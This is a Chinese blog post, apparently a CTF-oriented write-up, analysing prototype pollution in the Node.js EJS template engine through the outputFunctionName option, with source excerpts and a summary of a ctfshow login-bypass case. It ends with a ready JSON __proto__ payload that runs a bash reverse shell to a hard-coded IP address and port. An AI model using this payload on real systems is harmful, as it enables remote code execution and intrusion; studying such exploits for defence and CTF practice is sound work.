[Web/Nodejs]原型链污染EJS模块的利用分析(附源码分析)

EJS _CVE-2019-10744(outputFunctionName)

在EJS引擎当中,存在一个属性opts.outputFunctionName

(注:影响该位置的源数据流实际上有很多个,这个属性利用条件相对宽松,只要有就能用)

读源码

ejs作为渲染引擎,包含一些代码执行的功能,帮助将执行结果回显到页面。

【以下代码为exports.render-----调用----->handleCache

首先调用了render的话(在我们做题时可以看到的表层函数)请添加图片描述
render调用的handleCache中跟进调用了compile(记住,关键点)
请添加图片描述
【以下代码包含在ejscompile函数中】

// 输出解析后的html字符串
语法:ejs.compile(str,options);
参数参数说明
str这个是用来渲染的数据展示区域
opstions这是个额外的参数配置,可以省略,详见后面

请添加图片描述请添加图片描述
恰巧this.source是拼接而成的,在包含opts.outputFunctionName时会将其包含在内,动态拼接一个js语句字符串,这是十分危险的,因为在后续步骤中,会利用this.src构造可调用函数。
请添加图片描述请添加图片描述
因此操纵opts.outputFunctionName即可构造预期函数,实现RCE。

如下图,compile在此处会被调用并作为返回值返回,导致渲染变为代码执行。
请添加图片描述
也就是说,我们对{}原型进行污染添加opts.outputFunctionName属性(主要为了污染opts)下的恶意代码,就能利用渲染函数render的调用链,转为代码执行。

Payload

由源码知,

this.source = prepended + this.source + appended;
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

构造合适的opts.outputFunctionName,

a=2333;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2

整理为

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在Node.js中,原型链污染是一种安全漏洞,它利用了JavaScript中原型继承的特性。通过修改原型链,攻击者可以在目标对象上注入恶意属性或方法。 在提供的引用内容中,通过调用`utils.copy(user, req.body)`函数,攻击者可以实现原型链污染。在`copy`函数中,遍历`object2`的属性,并将其逐一赋值给`object1`。如果`object1`和`object2`中都存在相同的属性,那么就会调用递归函数`copy`来复制这个属性的值。这个过程中,如果`object2`中的属性也是一个对象,并且在`object1`中也存在相同的属性,那么递归调用`copy`函数会继续在这个属性上进行操作。 通过构造特定的恶意输入,攻击者可以将`Object.prototype`中的属性或方法注入到 `req.body` 对象中。在提供的代码示例中,攻击者可以设置 `req.body` 的属性 `secert` 为一个对象,从而使其继承自 `Object.prototype`。这样,`req.body` 对象就获得了 `Object.prototype` 中的所有属性和方法,包括 `toString`、`hasOwnProperty`等。进一步,当代码判断 `secert.ctfshow` 等于 `'36dboy'` 时,就会返回`flag`,使得攻击者可以绕过登录验证获取到敏感信息。 因此,通过利用原型链污染,攻击者可以在Node.js应用中实现恶意操作,并绕过原本的安全检查。为了防止原型链污染的攻击,开发者应该对输入进行严格的验证和过滤,确保不会接受恶意的输入,并且避免直接使用`Object.prototype`的属性和方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值